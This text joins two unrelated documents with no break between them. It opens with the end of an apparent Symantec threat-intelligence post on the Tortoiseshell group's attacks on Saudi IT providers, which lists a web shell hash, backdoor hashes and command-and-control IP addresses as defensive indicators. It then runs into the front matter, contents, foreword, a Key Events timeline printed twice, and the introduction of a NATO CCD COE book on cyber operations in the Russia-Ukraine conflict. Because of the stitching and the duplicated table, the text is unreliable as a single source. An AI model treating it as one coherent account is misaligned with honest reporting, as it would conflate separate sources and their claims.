The initial infection vector used by Tortoiseshell to get onto infected machines has not been confirmed, but it is possible that, in one instance, a web server was compromised to gain access by the attacker.
For at least one victim, the first indication of malware on their network was a web shell (d9ac9c950e5495c9005b04843a40f01fa49d5fd49226cb5b03a055232ffc36f3).
This indicates that the attackers likely compromised a web server, and then used this to deploy malware onto the network.
This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network.
Once on a victim computer, Tortoiseshell deploys several information gathering tools, like those mentioned above, and retrieves a range of information about the machine, such as IP configuration, running applications, system information, network connectivity etc.
On at least two victim networks, Tortoiseshell deployed its information gathering tools to the Netlogon folder on a domain controller.
This results in the information gathering tools being executed automatically when a client computer logs into the domain.
This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network.
Presence of OilRig tools In one victim organization, we also saw a tool called Poison Frog deployed one month prior to the Tortoiseshell tools.
Poison Frog is a backdoor and a variant of a tool called BondUpdater, which was previously seen used in attacks on organizations in the Middle East.
The tools were leaked on Telegram in April this year and are associated with the group known as APT34, aka Oilrig.
It is unclear if the same actor deployed both the Poison Frog tool and the Tortoiseshell tools, however, given the gap in time between the two sets of tools being used, and without further evidence, the current assumption is that the activity is unrelated.
If that is the case, this activity demonstrates the interest from multiple attack groups in industries in this region.
The Poison Frog tool also appears to have been leaked prior to deployment to this victim, so could be used by a group unrelated to APT34/Oilrig.
3/5 https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/ Attacker motives The targeting of IT providers points strongly to these attacks being supply chain attacks, with the likely end goal being to gain access to the networks of some of the IT providers customers.
Supply chain attacks have been increasing in recent years, with a 78 percent increase in 2018, as we covered in ISTR 24.
Supply chain attacks, which exploit third-party services and software to compromise a final target, take many forms, including hijacking software updates and injecting malicious code into legitimate software.
IT providers are an ideal target for attackers given their high level of access to their clients computers.
This access may give them the ability to send malicious software updates to target machines, and may even provide them with remote access to customer machines.
This provides access to the victims networks without having to compromise the networks themselves, which might not be possible if the intended victims have strong security infrastructure, and also reduces the risk of the attack being discovered.
The targeting of a third-party service provider also makes it harder to pinpoint who the attackers true intended targets were.
The customer profiles of the targeted IT companies are unknown, but Tortoiseshell is not the first group to target organizations in the Middle East, as we have covered in previous blogs.
However, we currently have no evidence that would allow us to attribute Tortoiseshells activity to any existing known group or nation state.
Protection/Mitigation The following protections are also in place to protect customers against Tortoiseshell activity: Backdoor.
Syskit Indicators of Compromise SHA256 Name f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193 Backdoor.
Syskit 02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2 Backdoor.
Syskit 07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4 Backdoor.
Syskit Backdoor.
Syskit CC servers 64.235.60.123 64.235.39.45 4/5 https://www.symantec.com/blogs/threat-intelligence/istr-24-cyber-security-threat-landscape https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage https://www.symantec.com/content/symantec/english/en/security-center/writeup.html/2019-082613-5549-99 Backdoor.
Syskit CC servers The Attack Investigation Team is a group of security experts within Symantec Security Response whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis which helps customers respond to attacks.
5/5 Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks Custom tools Tools, techniques, and procedures Presence of OilRig tools Attacker motives Protection/Mitigation Indicators of Compromise
cyber war in perspective: russian aggression against ukraine Cyber War in Perspective: Russian Aggression against Ukraine Edited by Kenneth Geers This publication may be cited as: Kenneth Geers (Ed.
),
Cyber War in Perspective: Russian Aggression against Ukraine, NATO CCD COE Publications, Tallinn 2015.
2015 by NATO Cooperative Cyber Defence Centre of Excellence.
All rights reserved.
No part of this publication may be reprinted, reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic, mechanical, photocopying, recording or otherwise, without the prior written permission of the NATO Cooperative Cyber Defence Centre of Excellence (publicationsccdcoe.org).
This restriction does not apply to making digital or hard copies of this publication for internal use within NATO, and for personal or educational use when for non-profit or non-commercial purposes, providing that copies bear a full citation.
NATO CCD COE Publications Filtri tee 12, 10132 Tallinn, Estonia Phone: 372 717 6800 Fax: 372 717 6308 E-mail: publicationsccdcoe.org Web: www.ccdcoe.org LEGAL NOTICE This publication is a product of the NATO Cooperative Cyber Defence Centre of Excellence (the Centre).
It does not necessarily reflect the policy or the opinion of the Centre or NATO.
The Centre may not be held responsible for any loss or harm arising from the use of information contained in this publication and is not responsible for the content of the external sources, including external websites referenced in this publication.
Print: EVG Print Cover design  content layout: Villu Koskaru ISBN 978-9949-9544-4-5 (print) ISBN 978-9949-9544-5-2 (pdf) mailto:publicationsccdcoe.org http://www.ccdcoe.org NATO Cooperative Cyber Defence Centre of Excellence The Tallinn-based NATO Cooperative Cyber Defence Centre of Excel- lence (NATO CCD COE) is a NATO-accredited knowledge hub, think-tank and training facility.
The international military organisa- tion focuses on interdisciplinary applied research and development, as well as consultations, trainings and exercises in the field of cyber security.
The Centres mission is to enhance capability, cooperation and information-sharing between NATO, Allies and partners in cyber defence.
Membership of the Centre is open to all Allies.
The Czech Republic, Estonia, France, Germany, Greece, Hungary, Italy, Latvia, Lithuania, the Netherlands, Poland, Slovakia, Spain, Turkey, the United Kingdom and the USA have signed on as sponsoring nations.
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The Centre is funded and staffed by these member nations.
6 Contents Foreword ................................................................................................................. 8 Key Events .............................................................................................................10 1.
Introduction: Cyber War in Perspective Kenneth Geers, NATO CCD COE / Atlantic Council / Taras Shevchenko National University of Kyiv ................................................13 Strategic Framework 2.
Russia and Its Neighbours: Old Attitudes, New Capabilities Keir Giles, Conflict Studies Research Centre .................................................19 3.
Cyber War and Strategic Culture: The Russian Integration of Cyber Power into Grand Strategy James J. Wirtz, Naval Postgraduate School .....................................................29 4.
Compelling Opponents to Our Will: The Role of Cyber Warfare in Ukraine James A. Lewis, Centre for Strategic and International Studies (CSIS) ......39 5.
The Cyber War that Wasnt Martin Libicki, RAND ......................................................................................49 Tactical Viewpoints 6.
Revolution Hacking Nikolay Koval, CyS Centrum LLC ...................................................................55 7.
Cyber Operations at Maidan: A First-Hand Account Glib Pakharenko, ISACA Kyiv .........................................................................59 8.
Beyond Cyber War: Russias Use of Strategic Cyber Espionage and Information Operations in Ukraine Jen Weedon, FireEye ..........................................................................................67 9.
Cyber Proxies and the Crisis in Ukraine Tim Maurer, New America ...............................................................................79 7 Information Warfare 10.
Russian Information Warfare: Lessons from Ukraine Margarita Levin Jaitner, Swedish Defense University ...................................87 11.
Missing in Action: Rhetoric on Cyber Warfare Liisa Past, NATO CCD COE ............................................................................95 12.
Strategic Communications and Social Media in the Russia Ukraine Conflict Elina Lange-Ionatamishvili  Sanda Svetoka, NATO Strategic Communications Centre of Excellence ..............................103 Policy and Law 13.
Ukraine: A Cyber Safe Haven?
Nadiya Kostyuk, University of Michigan ......................................................113 14.
A Legal Framework for Cyber Operations in Ukraine Jan Stinissen, NATO CCD COE ....................................................................123 15.
The Ukraine Crisis as a Test for Proposed Cyber Norms Henry Rigas, NATO CCD COE ...................................................................135 16.
Northern European Cyber Security in Light of the Ukraine War Jarno Limnll, Aalto University .....................................................................145 The Future 17.
Whats Next for Putin in Ukraine: Cyber Escalation?
Jason Healey  Michelle Cantos, Columbia University .............................153 18.
Strategic Defence in Cyberspace: Beyond Tools and Tactics Richard Bejtlich, The Brookings Institution .................................................159 Authors ............................................................................................................... 171 8 Foreword Sven Sakkov Director, NATO Cooperative Cyber Defence Centre of Excellence In mid-January 2014, the Ukrainian Rada passed tough anti-protest regulations that seemed to be designed to nip the emerging anti-government mood in the bud.
Over the next months, in the harsh Ukrainian winter, opposition protests escalated and turned bloody.
The ensuing turmoil included a runaway President, Russian occupa- tion of Crimea and an armed conflict in Eastern Ukraine.
The world held its breath and many expected to see a full-fledged cyber war.
However, although an increase in typical cyber skirmishes was reported throughout the crisis, prominent cyber operations with destructive effects have not yet occurred.
The possible reasons for this seemingly low-level employment of cyber attacks in Ukraine characterise the particular role of cyber operations in modern conflicts.
The case of Ukraine proves that the use of cyber operations has to be understood in the wider strategic context.
In Ukraine we saw in line with national doctrine that Russian information warfare both included and relied upon cyber elements.
Reported cyber incidents such as defacements, information leaks or DDoS attacks against media or governmental organisations were predominantly in support of the intense Russian information operation against Ukraine and the West.
Furthermore, due to the historical interconnectedness of networks and sophisti- cated spyware tools applied by APT groups, it is widely presumed that Russia is actively leveraging the intelligence provided by its effective cyber espionage campaigns for strategic gain.
As cyberspace functions as the main medium for disseminating and gathering information, destructive cyber operations hindering information flows in Ukraine would have been unreasonable from the Russian point of view.
Another strategic consideration affecting Russian use of cyber attacks is the rel- ative effectiveness of traditional kinetic operations.
If we look at the Russian actions in Crimea and the Donbass, there was no practical need to engage in destructive 9 offensive cyber operations to achieve the military objectives.
For instance, one of the first targets during the occupation of Crimea was an Internet Exchange Point, which was taken over by Russian special forces in order to assure information superiority by disrupting cable connections with the mainland.
In short, the case indicates that kinetic actions might in some circumstances be more effective and less costly than sophisticated cyber operations.
This factor is even more relevant in Ukraine, where the infrastructure is often outdated and not highly IT-dependent.
Even though highly visible and destructive attacks have not been reported, infor- mation-oriented cyber operations in Ukraine have nevertheless functioned as an essential strategic element of Russian whole spectrum warfare.
In brief, the book reflects several mutually reinforcing reasons why we did not witness large-scale or massive cyber attacks with destructive effects: Espionage and information campaigns conducted through cyberspace trumped other considerations for the Russian side It is reasonable to achieve results with less resources and effort involved, i.e.
if a cable can be cut physically, there is no need to use sophisticated cyber attacks Both sides in the conflict have shown a considerable ability to control the escalation of the conflict.
The cyber domain did not witness large- scale warfighting, but neither did the domain of air after the tragedy of MH17 Ukraine did not offer very lucrative targets for destructive cyber attacks.
To put these points into perspective: modern war is a messy affair, not a clean and glittery Hollywood movie.
The emergence of cyber as a separate domain of warfighting does not necessarily offer magic solutions and miraculous short-cuts to achieve strategic goals.
As of November 2015, the case has shown that destructive cyber operations are not (yet) a silver bullet in the arsenal of states which still oper- ate below certain thresholds due to legal and political considerations and uncer- tainties over escalation.
Nevertheless, we have to keep in mind that the conflict in Ukraine is not yet over the level and nature of cyber attacks can change rapidly, as the political-military environment in Ukraine remains unstable and unpredictable.
Against the backdrop of the often unclear debate on so-called hybrid warfare and its cyber elements, this publication offers a reality check for policy-makers, scholars and the media to understand the haze of cyber war.
This is done by apply- ing an interdisciplinary approach as our book involves 17 subject-matter experts analysing the strategic, policy, legal and technical aspects of the case.
The NATO Cooperative Cyber Defence Centre of Excellence would like to thank all of the books authors, and especially the editor, Centre Ambassador Kenneth Geers, for their contributions to the project.
10 Timeframe Geopolitical Events Prominent Cyber Incidents1 20132014 November 2013 February 2014 Ukrainian President Yanukovychs cabinet rejects the Ukraine-EU Association Agreement, ig- niting anti-government protests in Kyiv.
Demonstrations gather pace in January and February of 2014 and culminate when clashes between protesters and government turn deadly.
As a result, Yanukovich flees to Russia and the Parliament names Turchynov as interim President.
Sporadic cyber skirmishes, including distributed denial of service (DDoS) attacks and website deface- ments, accompany events throughout the crisis.
Prominent examples include Russia Todays (RT) altered headlines with the word Nazi added and DDoS attacks against the NATO and NATO CCD COE web- sites, which are briefly taken offline during the Euromaidan protests.
Private sector reports announce that advanced persistent threat (APT) cyber espionage tools have been discovered in Ukraine and in NATO countries.
Malware analysis suggests that the campaigns are based in Russia.
New and more menacing forms of malware include Turla/Uroburos/Snake, RedOctober, MiniDuke, and NetTraveler.
Anonymous users or hacktivist groups such as CyberBerkut continuously leak stolen, sensitive infor- mation.
For example, on February 4 2014, a phone call between the US Assistant Secretary of State and the US Ambassador to Ukraine, which includes derisive comments regarding the EU, is uploaded to YouTube.
At the Euromaidan street demonstrations, there are physical and cyber attacks against opposition servers, smartphones, websites, and Internet accounts the most serious incidents coincide with the lethal shoot- ing of protestors.
During the occupation of Crimea, Russian special forces seize an Internet Exchange Point (IXP) and sev- er Internet cables.
According to Ukrainian intelligence, an IP-telephonic attack originating from Crimea targets the mobile devices of Ukrainian parliament members.
Hackers also leak stolen data, including a bugged phone call between the Estonian Ministry of Foreign Affairs and the EU, which fuels conspiracy theories and appears to support the Russian narrative regarding sniper shootings at Euromaidan.
Ukrainian officials report a sophisticated cyber attack against the Ukrainian Central Election Commis- sion on May 21-25 2014.
DDoS attacks impede information exchange.
A computer virus is launched to undermine the credibility of the elections and presents false election results to the official election website.
Specialists contain the virus, but the Russian TV station Channel One nonetheless airs the fake results.
Media reports describe a troll factory in St. Petersburg, Russia, where hundreds of people are allegedly creating pro-Russian government content for both domestic and international social media.
This analysis highlights the active use of social media as a prominent threat vector for information operations.
A private sector report claims that a Russian cyber espionage campaign has targeted the MH17 investiga- tion being conducted by Dutch, Malaysian, Australian, Belgian, and Ukrainian authorities.
In eastern Ukraine, signals intelligence (SIGINT) operations make use of Internet data (e.g.
location data from mobile phones and Wi-Fi networks) to locate and target Ukrainian military forces.
Hacktivists on both sides continue to leak sensitive or compromising data to support their cause.
In one case, hackers access public CCTV cameras in eastern Ukraine.
The region has been isolated from the rest of Ukraine via Internet censorship and regular forensics checks on citizens computers and mobile devices.
27 February 16 March On February 27, pro-Russian gunmen in combat uniforms  dubbed little green men  oc- cupy Crimea and seize strategic sites.
On March 16, 97 of voters reportedly back Crimeas unrecognised referendum to join Russia.
The EU and US agree on a first round of sanctions against Russia several rounds follow as the crisis progresses.
April  May Armed conflict begins in eastern Ukraine.
The first casualties between pro-Russian separatists and Ukrainian government forces are reported on April 17.
Unrecognised referendums are held.
Separatists declare independence in Donetsk and Luhansk on May 11.
25 May Petro Poroshenko is elected President of Ukraine.
17 June Malaysia Airlines flight MH17 from Amsterdam to Kuala Lumpur is shot down over eastern Ukraine, leaving nearly 300 dead.
Shortly after the crash, the Security Service (SBU) of Ukraine releases an intercepted phone call purportedly between separatists in eastern Ukraine, discuss- ing the fact that they shot down the plane.
September The Minsk Protocol is signed by representatives of Ukraine, the Russian Federation, the Do- netsk Peoples Republic, and the Lugansk Peoples Republic.
A ceasefire agreement fails to stop fighting in Donbass as fierce fighting for Donetsks airport erupts.
26 October Parliamentary elections are held: Poroshenkos Bloc wins and pro-western parties dominate the new political landscape.
2015 January February The Minsk Protocol ceasefire fails as heavy fighting continues.
After weeks of fighting, on22 January, Ukrainian forces withdraw from the main terminal of the strategically important Do- netsk airport.
On February 11, new talks start in Minsk to achieve a new peace deal.
Parties agree to a pull- out of heavy weaponry, but sporadic clashes continue.
After heavy fighting in Debaltseve, Ukrainian forces retreat on 18 February.
March The UN reports that an estimated 6,000 people have been killed in eastern Ukraine since 2014.
August September The most recent ceasefire, agreed by the contact group in late August, appears to be holding, as fighting is at its lowest point since the beginning of the conflict.
Key Events 11 Timeframe Geopolitical Events Prominent Cyber Incidents1 20132014 November 2013 February 2014 Ukrainian President Yanukovychs cabinet rejects the Ukraine-EU Association Agreement, ig- niting anti-government protests in Kyiv.
Demonstrations gather pace in January and February of 2014 and culminate when clashes between protesters and government turn deadly.
As a result, Yanukovich flees to Russia and the Parliament names Turchynov as interim President.
Sporadic cyber skirmishes, including distributed denial of service (DDoS) attacks and website deface- ments, accompany events throughout the crisis.
Prominent examples include Russia Todays (RT) altered headlines with the word Nazi added and DDoS attacks against the NATO and NATO CCD COE web- sites, which are briefly taken offline during the Euromaidan protests.
Private sector reports announce that advanced persistent threat (APT) cyber espionage tools have been discovered in Ukraine and in NATO countries.
Malware analysis suggests that the campaigns are based in Russia.
New and more menacing forms of malware include Turla/Uroburos/Snake, RedOctober, MiniDuke, and NetTraveler.
Anonymous users or hacktivist groups such as CyberBerkut continuously leak stolen, sensitive infor- mation.
For example, on February 4 2014, a phone call between the US Assistant Secretary of State and the US Ambassador to Ukraine, which includes derisive comments regarding the EU, is uploaded to YouTube.
At the Euromaidan street demonstrations, there are physical and cyber attacks against opposition servers, smartphones, websites, and Internet accounts the most serious incidents coincide with the lethal shoot- ing of protestors.
During the occupation of Crimea, Russian special forces seize an Internet Exchange Point (IXP) and sev- er Internet cables.
According to Ukrainian intelligence, an IP-telephonic attack originating from Crimea targets the mobile devices of Ukrainian parliament members.
Hackers also leak stolen data, including a bugged phone call between the Estonian Ministry of Foreign Affairs and the EU, which fuels conspiracy theories and appears to support the Russian narrative regarding sniper shootings at Euromaidan.
Ukrainian officials report a sophisticated cyber attack against the Ukrainian Central Election Commis- sion on May 21-25 2014.
DDoS attacks impede information exchange.
A computer virus is launched to undermine the credibility of the elections and presents false election results to the official election website.
Specialists contain the virus, but the Russian TV station Channel One nonetheless airs the fake results.
Media reports describe a troll factory in St. Petersburg, Russia, where hundreds of people are allegedly creating pro-Russian government content for both domestic and international social media.
This analysis highlights the active use of social media as a prominent threat vector for information operations.
A private sector report claims that a Russian cyber espionage campaign has targeted the MH17 investiga- tion being conducted by Dutch, Malaysian, Australian, Belgian, and Ukrainian authorities.
In eastern Ukraine, signals intelligence (SIGINT) operations make use of Internet data (e.g.
location data from mobile phones and Wi-Fi networks) to locate and target Ukrainian military forces.
Hacktivists on both sides continue to leak sensitive or compromising data to support their cause.
In one case, hackers access public CCTV cameras in eastern Ukraine.
The region has been isolated from the rest of Ukraine via Internet censorship and regular forensics checks on citizens computers and mobile devices.
27 February 16 March On February 27, pro-Russian gunmen in combat uniforms  dubbed little green men  oc- cupy Crimea and seize strategic sites.
On March 16, 97 of voters reportedly back Crimeas unrecognised referendum to join Russia.
The EU and US agree on a first round of sanctions against Russia several rounds follow as the crisis progresses.
April  May Armed conflict begins in eastern Ukraine.
The first casualties between pro-Russian separatists and Ukrainian government forces are reported on April 17.
Unrecognised referendums are held.
Separatists declare independence in Donetsk and Luhansk on May 11.
25 May Petro Poroshenko is elected President of Ukraine.
17 June Malaysia Airlines flight MH17 from Amsterdam to Kuala Lumpur is shot down over eastern Ukraine, leaving nearly 300 dead.
Shortly after the crash, the Security Service (SBU) of Ukraine releases an intercepted phone call purportedly between separatists in eastern Ukraine, discuss- ing the fact that they shot down the plane.
September The Minsk Protocol is signed by representatives of Ukraine, the Russian Federation, the Do- netsk Peoples Republic, and the Lugansk Peoples Republic.
A ceasefire agreement fails to stop fighting in Donbass as fierce fighting for Donetsks airport erupts.
26 October Parliamentary elections are held: Poroshenkos Bloc wins and pro-western parties dominate the new political landscape.
2015 January February The Minsk Protocol ceasefire fails as heavy fighting continues.
After weeks of fighting, on22 January, Ukrainian forces withdraw from the main terminal of the strategically important Do- netsk airport.
On February 11, new talks start in Minsk to achieve a new peace deal.
Parties agree to a pull- out of heavy weaponry, but sporadic clashes continue.
After heavy fighting in Debaltseve, Ukrainian forces retreat on 18 February.
March The UN reports that an estimated 6,000 people have been killed in eastern Ukraine since 2014.
August September The most recent ceasefire, agreed by the contact group in late August, appears to be holding, as fighting is at its lowest point since the beginning of the conflict.
1 This event overview is not exhaustive and includes prominent incidents it is based on open source reports and information provided by this books authors.
13 Introduction: Cyber War in Perspective Kenneth Geers NATO CCD COE1 / Atlantic Council / Taras Shevchenko National University of Kyiv Cyber war is a hot topic.
Armed forces, intelligence, and law enforcement agen- cies have made computer security  from defence to offence  a top priority for investment and recruitment.
In fact, current efforts to take the higher ground in cyberspace are so intense that many governments will overreach, with unfortunate ramifications for democracy and human rights around the world.
The current Russo-Ukrainian conflict appears to have all the necessary ingre- dients for cyber war.
Moscow and Kyiv, and indeed the entire NATO Alliance, are playing for the highest geopolitical stakes.
Russia has already annexed Crimea, and there is an ongoing military standoff in eastern Ukraine.
Both countries possess a high level of expertise in science, technology, engineering and mathematics (STEM), which has naturally led to an aptitude for, and experience with, computer hacking.
Despite these factors, there are still many sceptics over cyber war, and more questions than answers.
Although malicious code has served criminals and spies very well, can cyber attacks offer soldiers more than a temporary, tactical edge on the battlefield?
Can it have a strategic effect?
What norms should be established in international relations to govern nation-state hacking in peacetime and in war?
1 Dr Kenneth Geers was a Scientist at NATO CCD COE in 20072011 and now holds the position of Centre Ambassador.
Chapter 1 Can cyber attacks offer sol- diers more than a temporary, tactical edge on the battlefield?
14 This book serves as a benchmark in the early history of Internet-era warfare.
For world leaders and system administrators alike, the cyber dimension of the Ukraine crisis offers many lessons and sheds light on whether cyber war is still closer to sci- ence fiction than reality.
The research is divided into five sections: Strategic Frame- work, Tactical Viewpoints, Information Warfare, Policy and Law, and The Future.
Each chapter has been written by a leading expert in national security, network security, or both.
It has been a pleasure and an honour to work with all of them.
Many thanks to the North Atlantic Treaty Organisation Cooperative Cyber Defence Centre of Excellence (NATO CCD COE) for sponsoring this research.
Cyber War in Perspective: Russian Aggression against Ukraine opens with a chap- ter by Russia scholar Keir Giles of the Conflict Studies Research Centre in Oxford, UK.
Keir offers deep insight into the background to this crisis, and explains why it may not be resolved any time soon.
Russia and the West are said to have two distinct views of the world.
Moscow is unlikely to tolerate true independence and sovereignty for its former Soviet satellite states, and remains vehemently opposed to Western support for them.
It has many strategies and tactics  traditional and cyber  that it can employ against Ukraine and its other neighbours, while the West is both hesitant and divided.
In Chapter 3, James J. Wirtz, Dean of the Naval Postgraduate School in Califor- nia, describes the global context surrounding these events.
Today, nation-states are integrating cyber tactics into their political and military strategies.
Professor Wirtz posits that when it comes to the use of cyber, national styles might be emerging as states attempt to use cyber capabilities to achieve strategic objectives.
He suggests that it is wrong to treat cyber attacks as a silver bullet, and that it is better to consider how a sort of combined arms approach will prevail.
On a positive note, the need for legal and bureaucratic integration of policies and programmes should produce national idiosyncrasies on the cyber battlefield that can help with the vexing chal- lenge of attribution.
James Andrew Lewis of the Centre for Strategic and International Studies (CSIS) analyses the geopolitical effects of cyber attacks in Chapter 4.
He discusses two metrics: strategic effects that diminish an opponents will or capacity to fight (e.g.
influencing public opinion) and tactical effects that degrade military power (e.g.
confusing troops, or denying service to weapons).
Success is premised upon observable, real-world effects.
In Ukraine, Russian cyber operations had no strate- gic effect and only a limited, short-term political effect.
In Chapter 5, RANDs Martin Libicki takes one of this books strongest stances.
He asks why, despite the existence of a hot military conflict and ample hacker tal- ent, there is no cyber war in Ukraine.
There have been hacktivist outbursts, web defacements, distributed denial-of-service (DDoS) attacks, and cyber espionage, but everything we have seen so far falls well short of how national security thinkers and Hollywood  have portrayed cyber war.
Libicki explores several possible rea- sons.
Does Ukraine not possess cyber-enabled critical infrastructures?
Are Russia 15 and Ukraine wary of taking (or escalating) their conflict into the cyber domain?
Or are our notions of cyber war simply overrated?
Nikolay Koval, head of Ukraines Computer Emergency Response Team (CERT-UA) during the revolution, describes in Chapter 6 how cyber attacks rose in parallel with ongoing political events, in both number and severity.
In 2012, hackers defaced Ukrainian government websites with politically motivated digital graffiti.
In 2013, network defenders discovered new and more menacing forms of malware, such as RedOctober, MiniDuke, and NetTraveler.
In 2014, hacktivist groups such as CyberBerkut published stolen Ukrainian Government documents.
Koval analyses in detail the most technically advanced attack investigated by CERT-UA: the May 2014 compromise of Ukraines Central Election Commission (CEC).
He closes by appealing to the Ukrainian Government to allocate greater funds to hire and retain qualified personnel.
In Chapter 7, ISACA Kyiv researcher Glib Pakharenko has written a first-hand account of cyber attacks during the revolution in Ukraine.
At the EuroMaidan street demonstrations, there were physical and logical attacks against opposition servers, smartphones, websites, and Internet accounts the most serious incidents coincided with the lethal shooting of protestors.
In Crimea, attacks ranged from severing net- work cables to commandeering satellites to wholesale changes in Wikipedia.
In east- ern Ukraine, cyber espionage such as the use of location data from mobile phones and Wi-Fi networks has aided in targeting Ukrainian army units the region has also been isolated from the rest of Ukraine by Internet censorship and regular forensics checks on citizens computers and mobile devices.
Pakharenko ends this chapter by providing the Ukrainian Government with a significant to do list of best practices in network security.
FireEyes Jen Weedon, in Chapter 8, discusses Russias strategic use of computer network exploitation (i.e.
cyber espionage).
Today, via the Internet, intelligence agencies can gather information on an industrial scale, which can be used for any purpose, including tactical support to military operations.
From a targeting per- spective, Weedon discusses strategies for creating a decisive information advantage, prepping a battlefield through denial and deception, and how hackers might even cause real-world physical destruction and details the technical aspects of suspected Russian cyber operations, including malware samples, hacker tactics, and compro- mised infrastructure.
In Chapter 9, Tim Maurer of the New America Foundation explores the role that non-state, proxy cyber actors have played in the Ukraine crisis.
In both Russia and Ukraine, there is ample private sector computer hacking expertise which each government would theoretically have an incentive to exploit for efficacy and plau- sible deniability.
However, throughout this crisis, there has counterintuitively been very limited proxy use.
There have been a few dubious hacktivist attacks, but expert volunteers and cyber criminals do not appear to have been politicised or mobil- ised to any significant degree in support of geopolitical cyber campaigns.
Criminal 16 behaviour remains largely profit-driven.
In particular, the Ukrainian Government has not shown a capacity to harness volunteer cyber expertise, as Russia is thought to have done during its previous crises with Estonia and Georgia.
Swedish Defence University researcher Margarita Levin Jaitner highlights cur- rent Russian Information Warfare (IW) the- ory in Chapter 10.
She contends that Moscow has an inherent belief in the power of infor- mation control to advance its political and military goals.
In Russian doctrine, cyber security is subordinate to information secu- rity, and cyberspace is only one part of the information space.
National security planners are concerned with both technical and cognitive attacks, and recognise that achieving information superiority involves everything from propaganda to hacking to kinetic military operations.
Margarita Jaitner argues that the annexation of Crimea was a textbook case in information superiority.
In Chapter 11, Liisa Past, a NATO CCD COE expert on strategic communi- cations, analyses leadership discourse.
Liisa Past reveals that Russian President Vladimir Putin and Ukrainian President Petro Poroshenko have employed similar rhetorical strategies, including the development of an us vs. them dichotomy in which the in-group is portrayed as constructive and solution-oriented, while the out-group is illegitimate and dangerous.
In their current conflict, neither Russia nor Ukraine denies that cyberspace is a domain of warfare, but neither has stressed its importance.
Russian political discourse has mostly overlooked cyber issues (which is in line with Russian military doctrine), while Ukraine has framed them within the larger concept of hybrid warfare.
The most notable difference in political rhetoric is Kyivs clear orientation to the West and NATO, while Moscow is keenly focused on Russian national interests.
Elina Lange-Ionatamishvili and Sanda Svetoka of the NATO Strategic Com- munications Centre of Excellence in Latvia, in Chapter 12, discuss the role of social media in this conflict.
In the Internet era, the battle for hearts and minds has never been more important.
Social media is a trust-based network that provides fertile soil for intelligence collection, propaganda dissemination, and psychological operations (PSYOPS) to influence public opinion  or to lead adversaries into harms way.
Soft cyber attacks can be as severe as any attack on critical infrastructure.
In Ukraine, they have generated fear, uncertainty, and doubt about the economic, cultural, and national security of Ukraine, while promoting positive messages about Russias role in Crimea and eastern Ukraine.
The authors provide recommendations for defence against such attacks, including how to identify them, challenge them, and how to develop a resilient political narrative to withstand false propaganda.
In Chapter 13, University of Michigan doctoral student Nadiya Kostyuk reviews Ukraines cyber security policy  past, present, and future.
She analyses numerous historical factors that make Ukraine a cyber safe haven: a strong science, technol- Moscow has an inherent belief in the power of information control.
17 ogy, engineering, and mathematics (STEM) education, underwhelming economic performance since the fall of the Soviet Union in 1991, and social norms which dictate that stealing from the West is not a bad thing.
The icing on the cake is that there are currently few cyber security regulations in Ukraine.
All of these factors shed light on the vexing challenge of containing cyber crime in the region.
Look- ing toward the future, Nadiya Kostyuk argues that Ukraines political, military, and economic crises will inhibit the stabilisation of Ukrainian cyberspace for some time.
Lt Col Jan Stinissen of the NATO CCD COE, in Chapter 14, offers a legal frame- work for cyber operations in Ukraine.
He explains that international law applies to cyberspace, and the law of armed conflict applies to all relevant cyber opera- tions.
Jan discusses the legal definitions of war and cyberwar, as well as the con- cepts of armed conflict, armed attack, and use of force.
Typically, cyber attacks do not come in isolation, but rather as one element of a larger military operation the wider context will determine the legal framework for its cyber component.
There are many qualifying factors including state vs. non-state actor, and armed conflict vs. law enforcement.
In the Ukraine crisis, operations in Crimea (which has already been annexed by Russia) may be viewed differently from those in eastern Ukraine.
Stinissen asserts that, globally, most known cyber attacks have simply not been seri- ous enough to be governed by the law of armed conflict, but that this is likely to change in the future.
In Chapter 15, NATO CCD COE researcher Henry Rigas discusses the impact of known cyber attacks in Ukraine on proposed political cyber norms, the rules of state behaviour in international relations.
On the positive side, the absence of attacks against critical infrastructure could be a boon to future international security and stability, especially if it is a result of intentional restraint on the part of Moscow and Kyiv.
This case challenges the prevailing perception that a loose normative frame- work currently allows states to employ cyber attacks as a tool for coercion.
On the negative side, the examples of computer network operations we have seen appear to violate the information security norms promoted by Russia and the Shanghai Coop- eration Organisation (SCO), as they seem to constitute a war on information itself, that is a dedicated effort to alter public opinion through deceptive propaganda.
Finnish Professor Jarno Limnll, in Chapter 16, discusses the ramifications of the Ukraine war, and its cyber component, for Russias neighbours.
Moscows aggressive behaviour in Ukraine has forced many countries to re-evaluate their political and military relationships, especially with NATO.
For historical reasons, Finland and Estonia are well positioned to analyse Russias use of hybrid warfare, including information operations.
Today, these countries are actively pursuing ways to bolster their national defences against Russias military strategies and tactics in Ukraine.
The NATO Alliance should take concrete measures to reassure its member states, such as the creation of a common cyber defence framework.
In Chapter 17, Jason Healey and Michelle Cantos of Columbia University imagine four potential cyber conflict scenarios in this crisis.
First, even if the hot war cools off, Russia can still raise the temperature in cyberspace, and cause serious network disruptions in Ukraine.
Second, Russia could selectively target the West, adding a new vector to its already increased volume of threats, military exercises, sub- marine deployments, and nuclear warnings.
Third, Vladimir Putin could mirror the fro- zen conflict dynamic in cyberspace by threat- ening prolonged disruptions of the global Internet.
And fourth, if the Ukraine conflict spins out of control, Russia, in desperation, might even have the power to take down the Internet entirely.
To close our book, in Chapter 18, Brookings Institution Nonresident Senior Fellow Richard Bejtlich offers essential advice not only for Ukraine, but for any nation or organisation wishing to improve its cyber security posture.
Bejtlich draws from the deep well of classic military doctrine, arguing that hostile nation-state cyber operations are not a single event but a long-term, dynamic, multidimensional threat.
The only hope that Ukraine or any other nation has for building an effec- tive defence against professional network attacks is to incorporate strategic thinking into its defensive architecture, personnel, and operations.
Hostile nation-state cyber operations are a long-term, dynamic, multidimensional threat.
